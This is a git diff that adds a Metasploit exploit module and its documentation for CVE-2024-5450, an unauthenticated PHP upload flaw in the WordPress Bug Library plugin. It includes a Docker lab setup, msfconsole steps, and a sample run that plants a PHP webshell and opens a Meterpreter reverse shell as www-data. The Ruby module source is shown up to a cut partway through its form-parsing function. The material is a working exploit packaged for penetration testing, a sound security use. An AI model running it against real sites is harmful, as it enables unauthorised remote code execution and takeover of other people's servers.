diff --git a/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md b/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md new file mode 100644 index 0000000000000..e55e1aa6e88b1 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md @@ -0,0 +1,134 @@ +## Vulnerable Application + +The [Bug Library](https://wordpress.org/plugins/bug-library/) WordPress plugin before version 2.1.1 +allows unauthenticated users to submit bug reports via a public-facing form. The form accepts file +attachments without validating the file extension or MIME type, allowing an attacker to upload +arbitrary PHP files and achieve remote code execution. + +**CVE:** CVE-2024-5450 +**CVSS Score:** 10.0 (Critical) +**CWE:** CWE-434: Unrestricted Upload of File with Dangerous Type +**Fixed in:** Bug Library 2.1.1 + +### Setup (Docker) + +```bash +# Start a local WordPress environment +mkdir wp_lab && cd wp_lab +cat > docker-compose.yml << 'YAML' +version: '3.8' +services: + db: + image: mysql:5.7 + environment: + MYSQL_DATABASE: wp + MYSQL_USER: wp + MYSQL_PASSWORD: wp + MYSQL_ROOT_PASSWORD: rootpass + wordpress: + image: wordpress:6.4 + ports: + - "8080:80" + depends_on: + - db + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: wp + WORDPRESS_DB_PASSWORD: wp + WORDPRESS_DB_NAME: wp +YAML +docker-compose up -d +``` + +1. Complete the WordPress installation at `http://localhost:8080` +2. Install Bug Library plugin version < 2.1.1 +3. Go to **Settings → Bug Library** and enable **Allow Attachments** +4. Ensure CAPTCHA is disabled (default) + +## Verification Steps + +1. Start `msfconsole` +2. Load the module: + ``` + use exploit/unix/webapp/wp_bug_library_file_upload + ``` +3. Configure options: + ``` + set RHOSTS + set RPORT + set LHOST + ``` +4. Run the check: + ``` + check + ``` + Expected output: + ``` + [*] The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found) + ``` +5. Run the exploit: + ``` + run + ``` + +## Options + +| Option | Default | Description | +|--------|---------|-------------| +| RHOSTS | — | Target WordPress host | +| RPORT | 80 | Target port | +| TARGETURI | / | Base path to WordPress installation | +| MAX_POST_SEARCH | 50 | Maximum post ID range to search for the uploaded shell | + +## Scenarios + +### Successful exploitation + +``` +msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check +[*] 127.0.0.1:8080 - The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found) + +msf6 exploit(unix/webapp/wp_bug_library_file_upload) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Retrieving valid product/type term IDs from the bug-submission form... +[*] Using product_id=2, type_id=3 +[*] Determining current post ID baseline... +[*] Post ID baseline: 5. Will search up to 55. +[*] Uploading PHP payload as 'RLwIQTQn.php'... +[+] Bug report accepted by the server. Searching for the uploaded webshell... +[+] Webshell located at: http://127.0.0.1:8080/wp-content/uploads/bug-library/bugimage-6.php +[*] Sending request to execute payload... +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:49812) + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : wordpress-container +OS : Linux wordpress-container 6.1.0 #1 SMP +Meterpreter : php/linux +``` + +### Plugin not detected + +``` +msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check +[*] 127.0.0.1:8080 - The target is not exploitable. Unexpected HTTP 404 for plugin stylesheet +``` + +The Bug Library plugin is not installed or active on this WordPress instance. + +### CAPTCHA or attachments disabled + +``` +[*] Uploading PHP payload as 'RLwIQTQn.php'... +[-] Exploit failed: Upload failed (HTTP 200). Possible causes: CAPTCHA is enabled, + "Allow Attachments" is disabled, or required form fields were rejected by the server. +``` + +Ensure that **Allow Attachments** is enabled and CAPTCHA is disabled in the plugin settings. + +## References + +- [WPScan Vulnerability Database](https://wpscan.com/vulnerability/d91217bc-9f8f-4971-885e-89edc45b2a4d) +- [NVD CVE-2024-5450](https://nvd.nist.gov/vuln/detail/CVE-2024-5450) +- [Bug Library Plugin](https://wordpress.org/plugins/bug-library/) diff --git a/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb b/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb new file mode 100644 index 0000000000000..f9d230763f129 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_bug_library_file_upload.rb @@ -0,0 +1,299 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Bug Library Plugin Prior To 2.1.1 Unauthenticated PHP File Upload RCE', + 'Description' => %q{ + The Bug Library WordPress plugin before version 2.1.1 does not validate + the file type of attachments submitted via the public bug-report form, + allowing an unauthenticated attacker to upload an arbitrary PHP file + and achieve remote code execution. + + When the "Allow Attachments" setting is enabled and CAPTCHA is either + disabled or not deployed, a PHP webshell can be submitted as a bug + report attachment. The file is stored under wp-content/uploads/bug-library/ + and is directly accessible over HTTP, giving the attacker a persistent + shell on the server. + + Affected versions: Bug Library < 2.1.1 + CVSSv3 Score: 10.0 (Critical) - CWE-434: Unrestricted Upload of File + with Dangerous Type + }, + 'Author' => [ + 'Bob Matyas', # CVE discovery / original research + 'TrinityBerserker' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-5450'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-5450'], + ['WPVDB', 'd91217bc-9f8f-4971-885e-89edc45b2a4d'] + ], + 'DisclosureDate' => '2024-06-22', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [ + ['WordPress Bug Library Prior To 2.1.1', {}] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']), + OptInt.new('MAX_POST_SEARCH', [ + true, + 'Maximum number of post IDs above the detected baseline to search for the uploaded shell', + 50 + ]) + ] + ) + end + + # ------------------------------------------------------------------ + # check: verify the plugin is present on the target + # ------------------------------------------------------------------ + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'bug-library', 'stylesheet.css') + ) + + return CheckCode::Safe('Bug Library plugin stylesheet not found') unless res + return CheckCode::Safe("Unexpected HTTP #{res.code} for plugin stylesheet") unless res.code == 200 + + CheckCode::Appears('Bug Library plugin detected (stylesheet.css found)') + end + + # ------------------------------------------------------------------ + # get_form_term_ids: parse valid product + type term IDs from the + # public submission form so we can send a well-formed POST. + # Falls back to 1 for both if the form cannot be retrieved. + # ------------------------------------------------------------------ + def get_form_term_ids + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { 'bug_library_popup_content' => 'true' } + ) + + product_id = 1 + type_id = 1 + + if res && res.code == 200 + # The form renders + # with